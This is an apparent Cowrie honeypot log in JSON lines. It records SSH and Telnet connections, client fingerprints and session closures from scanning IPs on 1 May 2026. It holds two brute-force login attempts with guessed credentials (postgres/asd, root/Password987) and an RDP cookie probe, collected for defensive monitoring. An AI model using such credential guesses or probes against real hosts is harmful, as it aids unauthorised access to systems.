{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":43185,"dst_ip":"159.203.135.109","dst_port":22,"session":"af6e9b34a476","protocol":"ssh","message":"New connection: 103.86.180.10:43185 (159.203.135.109:22) [session: af6e9b34a476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:38.214391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:38.218871Z","src_ip":"103.86.180.10","session":"af6e9b34a476","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:38.414731Z","src_ip":"103.86.180.10","session":"af6e9b34a476","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":50060,"dst_ip":"159.203.135.109","dst_port":22,"session":"be4240307121","protocol":"ssh","message":"New connection: 72.253.251.7:50060 (159.203.135.109:22) [session: be4240307121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:38.745229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:38.749729Z","src_ip":"72.253.251.7","session":"be4240307121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:38.867006Z","src_ip":"72.253.251.7","session":"be4240307121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41310,"dst_ip":"159.203.135.109","dst_port":23,"session":"13ba5c69e5d7","protocol":"telnet","message":"New connection: 147.124.211.111:41310 (159.203.135.109:23) [session: 13ba5c69e5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:39.089645Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60730,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ac81f7ebfd2","protocol":"telnet","message":"New connection: 137.184.155.248:60730 (10.17.0.5:23) [session: 9ac81f7ebfd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:39.193762Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asd","message":"login attempt [postgres/asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:39.232397Z","src_ip":"103.86.180.10","session":"af6e9b34a476","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41324,"dst_ip":"159.203.135.109","dst_port":23,"session":"195ec11a8374","protocol":"telnet","message":"New connection: 147.124.211.111:41324 (159.203.135.109:23) [session: 195ec11a8374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:39.259813Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password987","message":"login attempt [root/Password987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:39.367426Z","src_ip":"72.253.251.7","session":"be4240307121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.807757139205933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:40.129351Z","src_ip":"147.124.211.111","session":"85dd4bef02a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:40.431332Z","src_ip":"103.86.180.10","session":"af6e9b34a476","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:40.485886Z","src_ip":"72.253.251.7","session":"be4240307121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56374,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcf78d7ecabf","protocol":"telnet","message":"New connection: 147.124.211.111:56374 (159.203.135.109:23) [session: dcf78d7ecabf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:41.022996Z"}
{"eventid":"cowrie.session.closed","duration":30.866626501083374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:43.329538Z","src_ip":"147.124.211.111","session":"fb6bc961c1d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.713986873626709,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:43.907633Z","src_ip":"137.184.155.248","session":"9ac81f7ebfd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05865979194641,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:44.594959Z","src_ip":"147.124.211.111","session":"11fb98c5127a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56398,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb14a7f6da82","protocol":"telnet","message":"New connection: 147.124.211.111:56398 (159.203.135.109:23) [session: fb14a7f6da82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:46.698837Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56412,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f47a1f569a","protocol":"telnet","message":"New connection: 147.124.211.111:56412 (159.203.135.109:23) [session: 25f47a1f569a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:46.885857Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.9.168.192","src_port":48336,"dst_ip":"159.203.135.109","dst_port":22,"session":"67d6860a841f","protocol":"ssh","message":"New connection: 45.9.168.192:48336 (159.203.135.109:22) [session: 67d6860a841f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:46.980731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.1","message":"Remote SSH version: SSH-2.0-OpenSSH_10.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:46.985261Z","src_ip":"45.9.168.192","session":"67d6860a841f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.961278200149536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:47.116177Z","src_ip":"147.124.211.111","session":"66ea61d28485","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:47.120507Z","src_ip":"45.9.168.192","session":"67d6860a841f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:47.226021Z","src_ip":"45.9.168.192","session":"67d6860a841f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56416,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e5b8c1c20f7","protocol":"telnet","message":"New connection: 147.124.211.111:56416 (159.203.135.109:23) [session: 7e5b8c1c20f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:47.808736Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56420,"dst_ip":"159.203.135.109","dst_port":23,"session":"73ae9c1f1935","protocol":"telnet","message":"New connection: 147.124.211.111:56420 (159.203.135.109:23) [session: 73ae9c1f1935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:48.283549Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56426,"dst_ip":"159.203.135.109","dst_port":23,"session":"14e8e67959e1","protocol":"telnet","message":"New connection: 147.124.211.111:56426 (159.203.135.109:23) [session: 14e8e67959e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:49.605388Z"}
{"eventid":"cowrie.session.closed","duration":30.857738494873047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:50.047845Z","src_ip":"147.124.211.111","session":"c7dbf2b37da2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.336487293243408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:50.104519Z","src_ip":"147.124.211.111","session":"695535015aba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694687604904175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:50.363197Z","src_ip":"147.124.211.111","session":"caae28a960d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.156323194503784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:51.069503Z","src_ip":"147.124.211.111","session":"4f867ad7b15c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.660710096359253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:51.758134Z","src_ip":"147.124.211.111","session":"4716ec83f64a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51390,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac95d3b8bdc7","protocol":"telnet","message":"New connection: 147.124.211.111:51390 (159.203.135.109:23) [session: ac95d3b8bdc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:52.772332Z"}
{"eventid":"cowrie.session.closed","duration":31.049237489700317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:53.175670Z","src_ip":"147.124.211.111","session":"677022659fe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.939049005508423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:55.088850Z","src_ip":"147.124.211.111","session":"00d08975829c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.775869131088257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:55.093219Z","src_ip":"147.124.211.111","session":"36c37922292a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51418,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a6944abf49b","protocol":"telnet","message":"New connection: 147.124.211.111:51418 (159.203.135.109:23) [session: 8a6944abf49b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:56.728414Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51434,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fd47baae1da","protocol":"telnet","message":"New connection: 147.124.211.111:51434 (159.203.135.109:23) [session: 3fd47baae1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:57.965055Z"}
{"eventid":"cowrie.session.closed","duration":30.812617778778076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:00.132035Z","src_ip":"147.124.211.111","session":"09a9fb402edf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96438956260681,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:00.151047Z","src_ip":"147.124.211.111","session":"fa061bdb8cc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56204,"dst_ip":"159.203.135.109","dst_port":23,"session":"42f9e7209c90","protocol":"telnet","message":"New connection: 147.124.211.111:56204 (159.203.135.109:23) [session: 42f9e7209c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:00.450251Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56220,"dst_ip":"159.203.135.109","dst_port":23,"session":"03af0c103c7d","protocol":"telnet","message":"New connection: 147.124.211.111:56220 (159.203.135.109:23) [session: 03af0c103c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:00.562751Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56226,"dst_ip":"159.203.135.109","dst_port":23,"session":"e379ea5d87d6","protocol":"telnet","message":"New connection: 147.124.211.111:56226 (159.203.135.109:23) [session: e379ea5d87d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:02.525656Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56228,"dst_ip":"159.203.135.109","dst_port":23,"session":"a16362c3c72d","protocol":"telnet","message":"New connection: 147.124.211.111:56228 (159.203.135.109:23) [session: a16362c3c72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:02.747480Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56238,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f9e27535211","protocol":"telnet","message":"New connection: 147.124.211.111:56238 (159.203.135.109:23) [session: 7f9e27535211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:04.173690Z"}
{"eventid":"cowrie.session.closed","duration":30.482999324798584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:04.260097Z","src_ip":"147.124.211.111","session":"798a6810bd06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.354095935821533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:05.388536Z","src_ip":"147.124.211.111","session":"60e7c14e0f7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56246,"dst_ip":"159.203.135.109","dst_port":23,"session":"300543ee3556","protocol":"telnet","message":"New connection: 147.124.211.111:56246 (159.203.135.109:23) [session: 300543ee3556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:06.187426Z"}
{"eventid":"cowrie.session.closed","duration":30.844530820846558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:06.245830Z","src_ip":"147.124.211.111","session":"b8690bb2b7c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17413330078125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:06.281997Z","src_ip":"147.124.211.111","session":"c2056fb659a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5142822265625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:07.108773Z","src_ip":"147.124.211.111","session":"4d8835d079c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00944972038269,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:07.469515Z","src_ip":"147.124.211.111","session":"a0e6d0cdad09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884592533111572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:07.602296Z","src_ip":"147.124.211.111","session":"6e0f2ad5c69b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56260,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ef93f094d60","protocol":"telnet","message":"New connection: 147.124.211.111:56260 (159.203.135.109:23) [session: 8ef93f094d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:08.008909Z"}
{"eventid":"cowrie.session.closed","duration":31.461608171463013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:08.508567Z","src_ip":"147.124.211.111","session":"2c531775de37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56270,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcfcda4a8f0b","protocol":"telnet","message":"New connection: 147.124.211.111:56270 (159.203.135.109:23) [session: bcfcda4a8f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:09.744557Z"}
{"eventid":"cowrie.session.closed","duration":31.463607788085938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:10.553167Z","src_ip":"147.124.211.111","session":"13ba5c69e5d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.362016916275024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:10.621695Z","src_ip":"147.124.211.111","session":"195ec11a8374","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":59548,"dst_ip":"159.203.135.109","dst_port":23,"session":"acfce8eadaaa","protocol":"telnet","message":"New connection: 147.124.211.111:59548 (159.203.135.109:23) [session: acfce8eadaaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:10.629144Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":59572,"dst_ip":"159.203.135.109","dst_port":23,"session":"c17649699ed8","protocol":"telnet","message":"New connection: 147.124.211.111:59572 (159.203.135.109:23) [session: c17649699ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:12.372485Z"}
{"eventid":"cowrie.session.closed","duration":31.89933681488037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:12.922196Z","src_ip":"147.124.211.111","session":"dcf78d7ecabf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":59558,"dst_ip":"159.203.135.109","dst_port":23,"session":"578a1761afbf","protocol":"telnet","message":"New connection: 147.124.211.111:59558 (159.203.135.109:23) [session: 578a1761afbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:13.379469Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":59588,"dst_ip":"159.203.135.109","dst_port":23,"session":"38bebae91d71","protocol":"telnet","message":"New connection: 147.124.211.111:59588 (159.203.135.109:23) [session: 38bebae91d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:13.667103Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":59602,"dst_ip":"159.203.135.109","dst_port":23,"session":"463161d91629","protocol":"telnet","message":"New connection: 147.124.211.111:59602 (159.203.135.109:23) [session: 463161d91629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:14.299773Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":49654,"dst_ip":"159.203.135.109","dst_port":22,"session":"401c3195af44","protocol":"ssh","message":"New connection: 103.149.252.223:49654 (159.203.135.109:22) [session: 401c3195af44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:14.705572Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:14.710777Z","src_ip":"103.149.252.223","session":"401c3195af44","protocol":"ssh"}
